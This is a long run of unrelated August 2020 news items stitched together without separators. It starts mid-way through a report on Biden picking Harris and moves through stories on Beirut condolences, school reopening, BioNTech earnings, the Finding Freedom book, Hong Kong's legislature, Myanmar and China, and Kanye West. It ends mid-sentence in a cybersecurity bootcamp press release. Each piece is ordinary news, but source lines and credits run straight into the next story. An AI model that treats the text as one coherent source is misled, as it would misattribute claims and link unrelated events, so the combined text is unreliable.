hold grudges." Trump, in the aftermath of Harris's presidential candidacy announcement, was said to be impressed with the size of the crowd she attracted (Trump and his daughter Ivanka also donated a combined $8,000 to Harris's 2014 campaign for attorney general, according to California campaign finance records). But within 30 minutes of the announcement of her selection Tuesday, the president tweeted a 30-second ad created by his campaign that criticized Harris for some of her more liberal positions, including a willingness to embrace Medicare-for-all. (She later came under pressure from liberal Democrats for adopting a more moderate definition of the health-care plan.) "Voters rejected Harris. They smartly spotted a phony - but not Joe Biden, he's not that smart," the narrator on the ad says. "Biden calls himself a transition candidate. He is handing over the reins to Kamala while they jointly embrace the radical left. Slow Joe and Phony Kamala." During a White House briefing, Trump used a word he often does to refer to women with whom he disagrees, saying that Harris was "nasty" during the Supreme Court confirmation hearings for Brett Kavanaugh. "She was nasty to a level that was just a horrible thing, the way she was," Trump said. "I won't forget that soon." Biden said July 28 that he would name his running mate by the end of the first week of August, after extending his initial pledge to name the pick around Aug. 1. Aides then said it had slipped further. He had promised months ago to pick a woman, reflecting the dominance of female voters in the party and his effort to make a historic choice. The selection process has been a mix of transparency and secrecy. While Biden held his thoughts closely, with many allies saying he had been deliberately vague about his preferences, the parade of prospective candidates played out publicly. The candidates have appeared at video-recorded events with Biden or his wife and helped host online fundraisers benefiting his campaign. They have been among his highest-profile surrogates in a campaign whose contours have been dramatically reshaped by the coronavirus pandemic. Several broke with past practice and acknowledged an interest in the job; others, such as Sen. Catherine Cortez Masto, D-Nev., took themselves out of the mix in a similarly public way. Biden sought the same kind of "simpatico" relationship with his pick that he shared with Obama, in which he served as the last adviser on big administration decisions. He also has put a high premium on loyalty, according to those familiar with the search. He has spoken openly about his age, saying that it was also important that his pick have the ability to serve as president from "Day 1." That requirement enhanced the desire for candidates who had a deep well of experience and could more easily been seen by voters as president. But his choice was also affected by events coursing across the nation. Sen. Amy Klobuchar, D-Minn., once looked like a front-runner, but the killing of George Floyd and other unarmed Black people put a spotlight on her record as a prosecutor, which has drawn criticism from Black activists. Klobuchar eventually removed herself from the running, saying that Biden should pick a woman of color for the ticket. Biden also faced pressure to delay the pick until closer to the Democratic convention, which begins Monday , to build a sense of momentum for an event that will largely be virtual, lacking the balloon-and-bunting atmosphere of the traditional convention celebrations. In normal times, the two running mates would barnstorm around the country after the announcement, trying to lift the enthusiasm level of their own partisans and potentially attract new supporters. But Biden has held no large events since March, and has none planned. Harriswill formally be nominated at the national party convention. She is then scheduled to debate Vice President Pence on Oct. 7 in Utah. One aim for the Biden campaign has been to unite the various factions of the party, something they hope to do during next week's Democratic convention. On Tuesday, his pick was quickly praised by Sen. Bernie Sanders, I-Vt., who often clashed with Biden and was his last remaining primary rival, although they have worked in lockstep since then. Rep. Ro Khanna, who co-chaired Sanders's campaign and leads the California delegation to the convention, said in an interview that Harris would win over the Vermont senator's supporters despite her disagreements with him on issues like Medicare-for-all. Having co-sponsored Sanders's legislation in 2017, her eventual alternate plan did not phase out private insurance so quickly. "She was on Bernie's bill, so I think she's open to it, and we need to continue to build a grass-roots movement on Medicare-for-all," Khanna said. "She's been very progressive on immigration issues. She wants to expand health care. She's a strong voice on labor rights. And she represents a multiracial, multicultural future for the country." - - - The Washington Post's Annie Linskey, Michael Scherer, David Weigel and Jenna Johnson contributed to this report. Source: Xinhua| 2020-08-11 22:05:35|Editor: huaxia Video Player Close ACCRA, Aug. 11 (Xinhua) -- The government of Ghana on Tuesday expressed its condolences to the government and people of Lebanon following the deadly explosion in its capital Beirut. A statement issued here signed by Shirley Ayorkor Botchwey, Minister for Foreign Affairs and Regional Integration, described the incident as "most unfortunate and regrettable". "On behalf of the President of Ghana Nana Addo Dankwa Akufo-Addo, the government and people of Ghana, I convey our deep condolences to the government and people of Lebanon. The disaster, happening at a time that the whole world is battling with the COVID-19 pandemic, is most unfortunate and regrettably poses an even greater challenge for the Lebanese government and people," said the statement. "Our thoughts and prayers are with the bereaved families, the wounded, and the displaced. Lebanon shall overcome this tragedy," the statement added. The blast on Tuesday last week in Beirut claimed at least 158 lives and injured 6,000 others. Enditem If the Hamilton Wentworth District School Board (HWDSB) were to adjust elementary class sizes to 15 students per class as recommended by SickKids experts it would require an additional 900 teachers at a hefty cost of $76 million. Thats according to a staff report that went before trustees Monday evening as the board adjusts its health and safety protocols for schools set to reopen in the coming weeks. The report does not mention specific changes concerning elementary school class sizes, save for the one metre of space between each student as recommended by the province. Should space in a given classroom be constrained, other areas like learning commons and gyms will be repurposed to meet provincial directives, the report states. The board has received $1.2 million in funding from the province to hire an additional 22 full-time caretakers, who will be tasked with cleaning and disinfecting classrooms and high-touch surfaces at a minimum of twice per day. The board also says it is working with third-party consultants to review its schools ventilation systems. On the hygiene front, the report says schools will schedule hand hygiene breaks throughout the day. Thats on top of requiring students to sanitize or wash their hands before lunch, snack breaks and entering classrooms. While masks are required of students in Grades 4 to 12, the board says students in kindergarten to Grade 3 will be encouraged, but not required to wear masks indoors or on buses where physical distancing is not possible. Increased signage with attention to destigmatizing COVID-19 will be issued to all board schools, the report states. Water fountains are not to be used and washrooms will have cap numbers. The board says it is working with the Ministry of Health and the Ministry of Education to formalize specific guidelines as it pertains to outbreaks occurring in schools. Meanwhile, the Hamilton-Wentworth Catholic District School Board (HWCDSB) remains mum on its reopening plans. Pat Daly, chair of the board, said in an interview Monday that the HWCDSB is in the final stages of developing a guide for parents and staff regarding reopening logistics. A Q&A has been sent to parents with additional information about the boards reopening, Daly said, and a survey asking parents whether their child will return to school in September will be sent next week. VANCOUVER, BC / ACCESSWIRE / August 11, 2020 / Gold Terra Resource Corp. (TSXV:YGT)(OTC PINK:TRXXF)(FSE:TX0) ("Gold Terra" or the "Company) is pleased to announce the appointment of Hellen Siwanowicz as a director of the Company. Hellen's appointment brings the total number of directors serving on Gold Terra's Board to seven, including four independent, non-executive directors. Ms. Siwanowicz brings over 25 years of business law experience. From 1991 to 2016, Ms. Siwanowicz practiced law at McMillan LLP and its predecessor, Lang Michener LLP, with an emphasis on securities law. She has significant experience advising public companies on corporate finance, mergers and acquisitions, regulatory compliance and corporate governance matters. "On behalf of the Board of Directors, I would like to welcome Hellen to the Board," said Gerald Panneton, Executive Chairman of Gold Terra. "Her level of experience and knowledge will further strengthen the Board's skills as Gold Terra continues to advance exploration and realize the full value potential of its Yellowknife City Gold Project." About Gold Terra's Yellowknife City Gold Project The Yellowknife City Gold ("YCG") project encompasses 790 sq. km of contiguous land immediately north, south and east of the City of Yellowknife in the Northwest Territories. Through a series of acquisitions, Gold Terra controls one of the six major high-grade gold camps in Canada. Being within 10 kilometres of the City of Yellowknife, the YCG is close to vital infrastructure, including all-season roads, air transportation, service providers, hydro-electric power and skilled tradespeople. The YCG lies on the prolific Yellowknife greenstone belt, covering nearly 70 kilometres of strike length along the main mineralized shear system that host the former-producing high-grade Con and Giant gold mines. The Company's exploration programs have successfully identified significant zones of gold mineralization and multiple targets that remain to be tested which reinforces the Company's objective of re-establishing Yellowknife as one of the premier gold mining districts in Canada. Visit our website at www.goldterracorp.com. For more information, please contact: David Suda, President and CEO Phone: 604-928-3101 | Toll-Free: 1-855-737-2684 dsuda@goldterracorp.com Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. SOURCE: Gold Terra Resource Corp View source version on accesswire.com:https://www.accesswire.com/601228/Gold-Terra-Appoints-Hellen-Siwanowicz-to-Board-of-Directors Young women wearing hanfu, the traditional clothing of the Han ethnic group, pose at a tourism festival in Kunshan, Jiangsu province, in May. [Photo/Xinhua] Hanfu attire, accessories become popular A group of young people wearing hanfu, the traditional clothing of the Han ethnic group, gathered at Donghua University in Shanghai in November to stage a series of performances. The event, featuring ancient dancing and singing, was staged by two traditional culture clubsHan Fu and Huayueand was seen by scores of attentive students. Deng Yujie, president of the university's hanfu club, who hosted the event, said nearly 30 students took part in the performances. Deng added that in recent years, young people have become increasingly interested in activities to promote and display traditional culture. Such performances have had to be called off, however, because of the novel coronavirus pandemic. Deng, a major of functional materials, said she began her love affair with hanfu when she was a child. "I felt that the clothes in period costume dramas were very beautiful. I often dressed myself in a bedsheet to play the role of a woman in traditional garb," the 20-year-old said. Deng, who also joined the hanfu club at her high school, said she spends about 3,000 yuan to 5,000 yuan ($432 to $720) on the attire every year. "I usually buy a new item every three months. The short coats and long skirts from the Ming Dynasty (1368-1644) are my favorites because the shape of the garments is the closest to modern styles," she said. Deng doesn't just wear hanfu attire for performances. When she goes shopping or attends classes, she usually wears a "horse face skirt"a traditional item of clothing featuring multiple pleatsor some traditional accessories. "Hanfu has become part of my daily life," she said. Source: Xinhua| 2020-08-12 00:16:21|Editor: huaxia Video Player Close BERLIN, Aug. 11 (Xinhua) -- Revenues of German pharmaceutical company BioNTech in the second quarter (Q2) of 2020 reached 41.8 million euros (49.3 million U.S. dollars), compared with 25.8 million euros in Q2 last year, the firm announced on Tuesday. Revenues from collaboration agreements went up as well because of new projects with U.S. company Pfizer and China's Fosun Pharma "as part of the company's BNT162 vaccine program against COVID-19," according to BioNTech. However, net loss increased to 88.3 million euros in Q2, compared to a net loss of only 50.1 million euros at the same time last year. At the end of the second quarter, the German company held cash and cash equivalents of 573 million euros. "We made significant progress in the second quarter toward our goal of advancing our oncology programs and toward bringing a COVID-19 vaccine to market as quickly as possible," said Ugur Sahin, chief executive officer (CEO) and co-founder of BioNTech. The German biopharmaceutical company and its U.S. partner Pfizer were planning to "file for market authorization or regulatory approval as early as October 2020" if the current clinical study on their potential COVID-19 vaccine was successful, BioNTech noted. BioNTech's employees managed to initiate the trial for the COVID-19 vaccine program "in record time," added Sahin on Tuesday when presenting the company's Q2 figures. At the end of July, a worldwide study on the potential vaccine had started with up to 30,000 participants. The clinical trial in phase II/III was intended to show, among other things, whether the ingredient BNT162b2 actually protects against infections with COVID-19. In addition, a phase one study with vaccine candidate BNT162b1 started to "evaluate safety and immunogenicity in Chinese participants to support potential regulatory approval in China," according to BioNTech. Enditem The Duchess of Sussex was the victim of 'racist and sexist tropes' in Britain from commentators and royal courtiers who were resistant to change, the author of the controversial new biography Finding Freedom claimed today. Omid Scobie's book was finally released today after weeks of revelations from its pages telling Harry and Meghan's side of the Megxit story. It offers highly personal insights - although Scobie and co-author Carolyn Durand claim they did not interview Harry and Meghan, and the couple did not co-operate. They do say, however, that 'many' friends gave them details for the book and that every revelation is confirmed by at least two sources. Scobie said the authors 'had a lens to the couple through their friends and their circle of aides' as well as covering the couple's private and public engagements. Scobie and Durand have also blamed the monarchy for the bitterness of the Megxit row, saying it was the institution's resistance to change and refusal to accept Harry and Meghan's demands that led to the row over their departure from royal duties. Scobie told BBC Radio 4's Today programme how he felt Harry and Meghan had 'clearly tried to do their best to make it work' before Megxit took place in March. He added: 'They even went as far as presenting a potential roadmap for how they would navigate their roles moving forward, and ultimately it was the institution that turned back on them and told them what they had presented just wasn't an option. 'And so this is a couple that really wanted to make it work, but ultimately I think the setup of the royal institution just isn't built for change on that dramatic a level.' Scobie also claimed that Meghan was the subject of a narrative calling her 'Duchess Difficult' amid reports of her disagreements with palace staff. Among the aides who left the palace in the months after the royal wedding were communications expert Samantha 'the Panther' Cohen and assistant Melissa Toubati. The book claimed the couple had 'grown dissatisfied' with Toubati and were 'not disappointed when she left', despite a royal aide praising her as 'hugely talented'. And it claims the couple were 'forced to let go' of their son Archie's night nurse during her second shift 'for being unprofessional', without going into further details. Senior aides were also said to have been unimpressed by Meghan's lavish baby shower in New York in February 2019 with 'what looked like carefully stage-managed paparazzi walks of the duchess in big black sunglasses from her hotel to her car and a laundry list of insider party details'. Scobie also told ITV's Lorraine that commentary about Meghan 'used every kind of sexist and racist trope that we attach to successful women and women of colour'. Asked by Lorraine host Andi Peters whether Meghan's heritage had anything to do with 'Megxit', Scobie said today: 'I think there are a number of themes at play here. Asked by Lorraine host Andi Peters this morning whether Meghan's heritage had anything to do with 'Megxit', Omid Scobie said today: 'I think there are a number of themes at play here' 'Certainly what we saw in a lot of the media commentary was the emergence of this sort of 'Duchess Difficult' narrative, that used every kind of sexist and racist trope that we attach to successful women and women of colour. 'She was too loud, too demanding, too difficult and what was more ugly about that situation is that there were people within the institution that were briefing a lot of that information to the tabloids. Finding Freedom by Omid Scobie and Carolyn Durand was released this morning 'Now it's always hard to know what the agenda is for something like that, but it clearly didn't come from a good place.' It is not the first time that the book's authors have hinted at racist attitudes within the royal household. Scobie has previously argued Meghan's mixed race background had proved problematic for some within the royal household which he claimed 'lives by hierarchy'. This morning, Scobie also spoke on BBC Radio 4's Today programme today, during which he was asked about negative coverage in the media towards the Duchess. He said: 'I think what we did see was a lot of unsavoury coverage directed towards Meghan - and the type of coverage we've often seen attached to powerful and strong women of colour, this 'Duchess Difficult' narrative, that really stems for her supposedly being too difficult, too loud, too everything. 'These are tropes that we've often see attached to successful women, and it's really unfortunate because I think that behind the scenes was really far from the truth.' He added that this was one of the reasons why he and co-author Durand wanted to write the book so they could 'really present what the other side was'. Today, Scobie also said the couple felt unable to defend themselves over reports in the media which they felt were untrue. He told Lorraine: 'Harry's very aware of what goes on behind the scenes behind palace walls, and I think the couple really found themselves in a position where they were told they couldn't defend themselves. 'We heard 'no comment' time and time again from the palace, but their reputations were being destroyed by the words of other people using, sort of, third, fourth, fifth hand information that wasn't always necessarily true.' Scobie also told Lorraine that the process of writing the book began two years ago and the story of what he was writing changed dramatically over this time. He added that he and Meghan are 'absolutely in no way friends' and said there was 'always that line' between journalists and members of the royal family. He denied asking them for an interview, adding that 'it was important to have a little distance from the couple' to have a balanced and objective view of who they are. Scobie said: 'The really unique situation that came out of it was a lot of the people working for Harry and Meghan were frustrated at what was being printed.' He said that the couple's friends had become 'desperate' to defend them so they could 'reframe the narrative a little bit' and 'shed a light on who they really were'. The Duke and Duchess of Sussex wave on a visit to Cape Town in South Africa last September Scobie added it was interesting to see 'how the palace may deal with something and how Meghan felt at the time'. Peters also asked Scobie if he knew the person who called Meghan 'Harry's showgirl' - and he said he did, but could not say who it was for legal reasons. Scobie said the couple are 'very much forward focused at the moment' and 'they have been able to already start establishing their charitable brand moving forward'. He also said that Meghan had 'clearly found a much stronger and louder voice than she had before within the institution'. On Radio 4, Scobie added: 'I think the restrictions of the institution of the monarchy often didn't allow them to venture down the paths that they long wanted to do. 'And now we're seeing them speak in a very different way when it comes to the work that they're doing as you can see, and the move definitely did them good.' His co-author Durand also spoke on Radio 4, and said she thought the couple's decision to step down as senior royals was made 'in the interests of their family'. She added: 'They did this because they wanted more privacy, they wanted to step back, they wanted to put Archie first, and it was the right decision for this time of their lives, and Her Majesty has already said that they're welcome back at any time. 'I don't think it was doomed to failure and I don't see this as a failure either. I think that Harry and Meghan have created a world where many people identify with them. 'They are a great draw in the Commonwealth. Many people who didn't feel a connection to the Royal Family before do. They're great role models for the country. 'Harry of course is a distinguished military hero. He's had enormous charitable and humanitarian legacy, and I don't see any of this as an individual failure on their part at all. I think that they're just putting their family first at the moment.' A public hearing for the revised German Site Development Plan (FEP) will be held this week on 11th August. The FEP provides the framework for the spatial and temporal development of offshore wind farms in the North and Baltic Seas. It also defines how and when these areas should be connected to the onshore power grid. The Federal Maritime and Hydrographic Agency (BSH) published the preliminary draft for the FEP 2020 and the draft investigation frameworks for the environmental reports (North Sea and Baltic Sea) as part of the strategic environmental assessment on the 19th of June 2020 and initiated the consultation process. The draft FEP includes plans for tenders for to be launched from 2021-2025 with commissioning from 2026-2030. Planned areas include N-3, N-6, N-7, N-9 and N-10, in the North Sea and O-1.3 in the Baltic Sea with a total targeted capacity of 9.688 GW. The FEP also incorporates plans for post-2030 with areas in N-11, N-12 and N-13 totalling ~10 GW to be tendered after 2025 and commissioned by 2035. Written or electronic comments could be submitted until the 20th July and a public hearing will be held via online conference on the 11th August. A final version of the FEP is expected to be ready by the end of the year. The Federal Cabinet confirmed a long awaited increase in offshore wind targets by approving amendments to the Wind Energy at Sea Act (WindSeeG) in early June. Targets have been raised from 15 GW to 20 GW by 2030 and 40 GW by 2040. This story was first reported exclusively for 4C Offshore subscribers. For more information, click here For more information on offshore wind farms worldwide, click here . A car linked to the disappearance of James Patterson is recovered from River Bann The remains of a man who had been reported missing over 29 years ago have finally been laid to rest in Co Londonderry. Tobermore man James Patterson (54) had been last seen on October 6, 1991 and despite widespread searches in the immediate aftermath of his disappearance no trace of his whereabouts had ever been found. Expand Close James Patterson / Facebook Twitter Email Whatsapp James Patterson When a car matching the vehicle Mr Patterson was last seen in, a blue/green Ford Orion, was pulled from the River Bann at popular tourist and angling spot New Ferry near Bellaghy in July, hope was rekindled for his family that they might finally have an answer. Police confirmed that human remains found in the vehicle had been identified as Mr Patterson, who had visited a friend in the Mid Ulster Hospital in Magherafelt on the Sunday evening before vanishing without trace. Following the conclusion of forensic examinations, Mr Pattersons remains were released back to his family and a funeral service was held in Magherafelt on Monday before burial in First Magherafelt Presbyterian churchyard. Sean McCarry, who led the Community Search and Rescue team to the discovery of the vehicle in the River Bann said that while there was sympathy for the Patterson family, there was also relief that almost 30 years of questions had finally been answered. We would always be on the lookout for historical cases of missing persons when on training exercises and targeted searches, he said On this occasion were pleased to have been able to help a family put an end to almost three decades of not knowing what had happened to James. We knew from early on that there were likely to be human remains in the vehicle that was pulled from the River Bann and subsequent forensic tests have concluded this case. Once we identified the car and worked with police, it was clear that it was all connected to the disappearance of James in 1991. We have been in close contact with the Patterson family throughout and they have been very thankful for the help and support they have had over these past few weeks. I know they are grateful to have a resolution to the disappearance of James and we pleased to have representation at the funeral on Monday. Mr McCarry said the fact that the mystery of Mr Pattersons disappearance was solved nearly 30 years later shows that no family should ever give up hope of getting the answers they need. On this occasion the Patterson family have found what they needed to find, he said. Obviously we are pleased to have been of service to them, but we are always on the look. We will continue to work and urge all others who are in a similar situation not to give up hope. PSNI said they were not treating the death of Mr Patterson as suspicious. Police can confirm human remains were found following the recovery of a car from the River Bann at the New Ferry Road in Bellaghy last month, the PSNI said. The vehicle was recovered from the river in July and following examination, it has been confirmed the human remains are those of James Patterson who went missing on 6th October 1991. The family have been informed and request for privacy at this time. Kendallville, IN (46755) Today Generally cloudy. Morning high of 42F with temps falling sharply to near 20. Winds WNW at 10 to 20 mph.. Tonight Cloudy skies early, followed by partial clearing. A few flurries or snow showers possible. Low 13F. Winds NNW at 10 to 20 mph. It is the public mural that has divided opinion in Sydney's Sutherland Shire provoking two petitions, a social media debate and even a critique from the local mayor. Critics have launched a campaign to remove the large mural, which is painted on a wall outside a retail shop in Miranda, claiming it is inappropriate and offensive. But the owner of the building says the mural was commissioned to prevent just that kind of content, and had succeeded in deterring graffiti and vandalism. The mural that's dividing opinion in the Shire. Credit:Kate Geraghty Painted outside Ferrari Formalwear, on the corner of an intersection near Miranda train station and Westfield shopping centre, the mural depicts three figures in different poses, including one smoking and another holding a glass. Shire resident Yvette Graf has been campaigning to have the artwork removed for almost a year. Her cause gained renewed traction at the end of July when another resident posted a photo of the mural to the Sutherland Shire Council's Facebook page and started an online petition, which in turn sparked debate and a counter-petition. CANBERA (dpa-AFX) - The Australian and NZ dollars moved up against their major counterparts in the Asian session on Tuesday, as most Asian stock markets rose following the mostly positive cues from Wall Street and amid hopes for more coronavirus-related stimulus in the U.S. A decline in coronavirus hospitalizations in New York, California and Texas also underpinned sentiment. U.S. congressional leaders and officials in President Donald Trump's administration said on Monday they were ready to resume coronavirus aid talks. Survey results from the National Australia Bank showed that Australia's business conditions improved further in July ahead of the escalation of stage 4 restrictions in Victoria, while business confidence weakened from June. With the improvement in three sub-components, the business conditions index advanced to zero in July from -8 in June. The aussie appreciated to 4-day highs of 0.7186 against the greenback and 76.25 versus the yen, after falling to 0.7145 and a 5-day low of 75.67, respectively in early deals. The aussie is seen finding resistance around 0.75 against the greenback and 78.00 versus the yen. The aussie reversed from its early 5-day low of 0.9538 versus the loonie, rising to 0.9574. If the aussie rises further, 0.98 is likely seen as its next resistance level. The aussie touched near a 2-week high of 1.6353 against the euro, up from a low of 1.6425 set at 7:15 pm ET. On the upside, 1.59 is likely seen as its next resistance level. The kiwi spiked up to 4-day highs of 0.6627 against the greenback, 70.30 versus the yen and 1.7732 against the euro, coming off from its early lows of 0.6583, 69.73 and 1.7819, respectively. The next possible resistance for the kiwi is seen around 0.68 against the greenback, 72.00 versus the yen and 1.74 against the euro. The kiwi approached 1.0834 against the aussie. This may be compared to a low of 1.0858 hit at 9:15 pm ET. The kiwi is likely to challenge resistance around the 1.06 level. Looking ahead, German ZEW economic sentiment for August is due in the European session. At 8:15 am ET, Canada housing starts for July are set for release. U.S. PPI for July will be out in the New York session. Copyright RTT News/dpa-AFX Kostenloser Wertpapierhandel auf Smartbroker.de Chinese lawmakers have extended the term of Hong Kongs governing body by a year following a controversial decision last month to postpone local elections in the international finance hub due to the coronavirus pandemic. Hong Kongs Beijing-backed leader Carrie Lam said in late July that local elections planned for September 6 would be postponed, citing a surge in COVID-19 infections. The move angered pro-democracy supporters who argued the pandemic was being used as a pretext to prevent the people in the semi-autonomous territory from voting. Beijings top lawmaking body, the National Peoples Congress Standing Committee, convened a four-day session on Saturday to discuss whether to extend the term of Hong Kongs Legislative Council (LegCo), which will expire on September 30, or to appoint a new transitional body to deal with a potential political vacuum. On Tuesday, Chinese state broadcaster CCTV said the committee had decided LegCo would continue to perform its duties for no less than one year until the term of the next council begins. The decision was reportedly passed unanimously although the fate of several opposition legislators barred from seeking re-election remains unclear. The resolution to extend the term of LegCo did not mention how the 70 incumbent legislators would be handled. Last month, authorities in Hong Kong announced that 12 prospective candidates, including four sitting legislators, had been banned from standing in the upcoming polls. They were struck off for having unacceptable political views, such as campaigning to block legislation by winning a majority, or criticising a new national security law imposed by Beijing on the territory in late June. LegCo President Andrew Leung said the disqualification of the four legislators would apply to the next term, not the extended one. Whats not mentioned in the resolution is supposed to be handled by the Hong Kong government, Tam Yiu-chung, Hong Kongs sole representative in the top decision-making body of Chinas parliament, told AFP news agency. He dismissed concerns that the resolution would technically allow the Hong Kong legislature, which has been dominated by Beijing loyalists, to work in unlimited extension instead of reshuffling members through election. In Hong Kong, pro-democracy legislators restated their opposition to the postponement of the election, charging that the vacuum was fabricated and that the submission to the National Peoples Congress was unnecessary, superseding Hong Kongs constitutional system. Around 4.5 million voters rights to vote regularly have been deprived. The legislative council will no longer be authorised by the people, they said in a statement. But Beijings Hong Kong Liaison Office said the Standing Committees decision was in line with the constitution and Basic Law. The Hong Kong and Macao Affairs Office of the State Council called the decision important and timely, while Lam said the move would ensure the regular governance and operations of the city. The postponement was criticised by the United States and other countries, many of whom have suspended extradition treaties with Hong Kong. Editorial China Experts Wanted Myanmar State Counselor Daw Aung San Suu Kyi (right) talks with Chinese President Xi Jinping during their meeting at the Presidential Residence in Naypyitaw on Jan. 17, 2020. / Presidents Office / Pool Photo via EPA Please dont let the headline give you the wrong impression: This is not a job advertisement. It is merely intended to point out something Myanmar urgently needs: independent institutions and think tanks specializing in China issues and studies. Why? China has always been Myanmars big neighbor to the north. But today it is a rising regional power with ambitions to compete with the US. Some media pundits are even calling the 21st century the Chinese century. Chinas emergence as a player in global affairs should be of concern to all of us, but Myanmar in particular has a special place in Chinas grand plan. Myanmars previously ruling military junta gave away major economic projects to China. The NLD government, too, has allowed China to advance its economic interests here, reflecting in part the fact that in the aftermath of the 2017 Rakhine conflict, Myanmar needed Chinas help on the UN Security Council. In addition to the Yangon New City project, China has signed agreements to open three cross-border cooperation zones in Shan and Kachin states. The Myitsone Dam hydropower project remains suspended by the Myanmar side, though Beijing does not appear to have given up on it. The fact remains, however, that local people in Myanmar will simply never accept this project. The Kyaukphyu deep-sea port and Special Economic Zone project was initially expected to cost more than US$9 billion (12.29 trillion kyats), but was renegotiated under the current government and the cost estimate brought down to a bit above $1 billion. This was a positive step by the NLD government. But we cant speak of China without discussing the armed groups in ethnic areas along the Sino-Myanmar border. Almost all these organizations have come under Chinese influence. China is the main source of political aid to ethnic armed groups in northern Myanmar. It cannot be a coincidence that armed conflict has escalated in the north since the abrupt suspension of the Myitsone project. In recent years we have seen the Arakan Army (AA) come to the forea development that could not have occurred without Chinas backing. When a portion of the Indian-backed Kaladan Multi-Modal Transit Transport Project was attacked by Rakhine militants, questions immediately arose as to who was behind it. During a recent visit to Russia, Myanmar military commander-in-chief Senior General Min Aung Hlaing said the violence in Myanmar was fueled by the strong support being provided to various players by big powers. The consensus among observers was that the commander-in-chiefs comments were aimed at China. Experience shows that relations between China and Myanmar are never straightforward. The Chinese governments commitment to help bring peace to Myanmar has disappeared amid the sounds of gunfire and the battles that continue to rage in northern Rakhine and northeastern Shan State. It only goes to show that China cannot be viewed as an honest peace broker. No experts believe China will allow Myanmar to drift out of its orbit. China has made clear its intention to secure a foothold in the Indian Ocean through the Kyaukphyu deep-sea port project. Looking at Chinas game plan, some experts even worry that Myanmar will disappear off the map in the next 20 years. China has been exerting its influence in Myanmar in various ways for decades. In the parliamentary democracy era under U Nu, and later during U Ne Wins Socialist regime, it did so through the Burmese Communist Party. Today, Chinese weapons and economic influence are both spreading in Myanmar; the day is not far off when Chinas shadow will become so big that it will completely engulf Myanmar. But how much has Myanmar really learned about China, about its interests in Myanmar, its geopolitical game plan, its economic goals, etc.? Myanmar needs independent research institutes and centers to study Chinas geopolitical strategy and aims. They must be financially and politically independent institutions. Research papers on the Chinese economy should be written at universities. We need to educate ourselves about China, a country that has always reserved the right to interfere in Myanmars sovereignty and internal peace and stability. Experts and think tanks on China studies tend to emerge slowly over time. But its time for the state to raise the bar and promote their development. This editorial was first published in Burmese by The Irrawaddy Burmese edition. You may also like these stories: Chinas Strategic Port Project Moves Step Closer to Reality as Myanmar OKs Joint Venture Charting Myanmars Course Through US-China Tensions This past weekend marked the death of Sears in San Antonio as the iconic brand's last area department store, located in Rolling Oaks Mall, closed its doors. The beleaguered retailer clings to life with about 185 brick and motar locations remaining in the U.S., according to Business Insider. However, those once popular "kit homes," designed and sold primarily through Sears, Roebuck and Co. catalogues, may long stand even should the onetime American retail giant fold. For example, one of their 1932 catalog homes remains on nearly 7 acres of fenced horse property in nearby Comfort. Rapper and 2020 presidential candidate Kanye West has stirred up excitement in Upstate New York after he was spotted wearing a SUNY Brockport hoodie. Hes one of us, the College At Brockport State University Of New Yorks official Twitter account said Monday. West, the hip-hop superstar and husband of Kim Kardashian, appeared to be repping the Golden Eagles while exiting a plane Sunday in Miami after a family vacation in the Dominican Republic. Its unclear where or when he wouldve gotten the sweatshirt; the Chicago native largely splits his time between homes and California and Wyoming. WIVB reports the Rochester-area college responded to Wests fashion choice with pride while distancing itself from him. SUNY Brockport in no way endorses Mr. Wests political views or his recent culturally inaccurate and inappropriate comments. In this particular case, we do think he made an excellent wardrobe choice. Its not every day that a major celebrity wears Brockport gear and our social media team wanted to share it with our community, officials said in a statement. West is best known for his music career, which includes hits like Jesus Walks, Gold Digger, Stronger, Good Life, and FourFiveSeconds, plus collaborations with Jay-Z, Drake, Rihanna, Estelle, Keri Hilson, Twista and Katy Perry. Ye is also a fashion designer and has a number of other business ventures, including the creative content company DONDA and co-ownership of the music streaming service Tidal. The 43-year-old West announced in July that hes running for president as an independent for the Birthday Party, though reports point to Republican operatives helping his campaign to potentially hurt Democratic candidate Joe Biden in battleground states like Wisconsin. Hes filed paperwork to appear on the ballot in several states, but not enough to get the 270 electoral votes needed for a White House win. West has previously supported President Donald Trump with a Make America Great Again hat and told Forbes last month that he be fine if his bid takes Black votes away from Biden and helps Trump. To say that the Black vote is Democratic is a form of racism and white supremacy, West said. A lot of times just like political parties they feel all Blacks have to be Democrat. This man, Joe Biden, said if you dont vote for me, then you are not Black. Well, act like we didnt hear that? We act like we didnt hear that man say that? That man said that. West has also raised concerns about his mental health after he made allegations about his wife Kim K on Twitter and cried during a campaign event where he claimed Central New York civil rights hero Harriet Tubman never actually freed the slaves, she just had them work for other white people. See more reactions to Wests SUNY Brockport hoodie: How did Kanye West get a SUNY Brockport sweatshirt? https://t.co/duhvrN60qL Natalie Brophy (@brophy_natalie) August 10, 2020 How does Kanye end up with a Brockport hoodie pic.twitter.com/eSc0Op7m0j Justin Mercer (@JustinMercer15) August 10, 2020 Seeing Kanye wearing a hoodie of my college is the most exciting thing Ive seen in a while @Brockport @kanyewest Ryan LoTemple (@LotemplesRyan) August 10, 2020 Imagine being @kanyewest , waking up, steeping into your huge wardrobe, thousands of dollars worth of clothes, and putting on a Brockport hoodie https://t.co/e3up5hZIDQ BEN (@Santyna_546) August 10, 2020 Of course @kanyewest would rock the Harvard of the SUNY system Brockport hoodie! Proud class of 99 alum! https://t.co/JYyQihLUVC Dave Fields (@Davebluefields) August 10, 2020 All you guys had to say was We miss da old Kanye and everything wouldve been fine https://t.co/xfo90FudRs Barstool Brockport (@stoolbrockport) August 11, 2020 Developed by cybersecurity experts, the Cybint Bootcamp is an intensive, 12-week immersive training program that equips professionals to be job-ready to enter the cybersecurity workforce. Globally, the Cybint Bootcamp has over a 90% career placement rate, with graduates securing jobs at top-tier companies. The Cybint Bootcamp will complement Craft Academy's existing premium coding bootcamp and tech-forward career approach. The founder of Craft Academy, Thomas Ochman, says this about the recent partnership, "The Cybersecurity domain is a natural next step for our organization and the partnership with Cybint allows us to add an industry recognized, cutting-edge technology curriculum to our training portfolio." As the newest member of the Cybint global Cyber Center Network, Craft Academy will also offer shorter corporate training programs from Cybint in addition to the Bootcamp. "We couldn't be more excited about this relationship with Craft Academy," Cybint CEO and Founder, Roy Zur said. "Both organizations share the same philosophy oriented around skills-based, real-world and outcomes-driven training regimens. We're excited to expand the cybersecurity professional community and offer a career path to those wanting to enter the all-important cybersecurity sector." About Craft Academy Craft Academy is a Tech education initiative that aims to bring new talent to the market and help to solve the shortage of tech workers. The company is founded on the belief that modern development standards, agile methodologies, and business skills are fundamental for ITC professionals. Our primary service is a 12-week 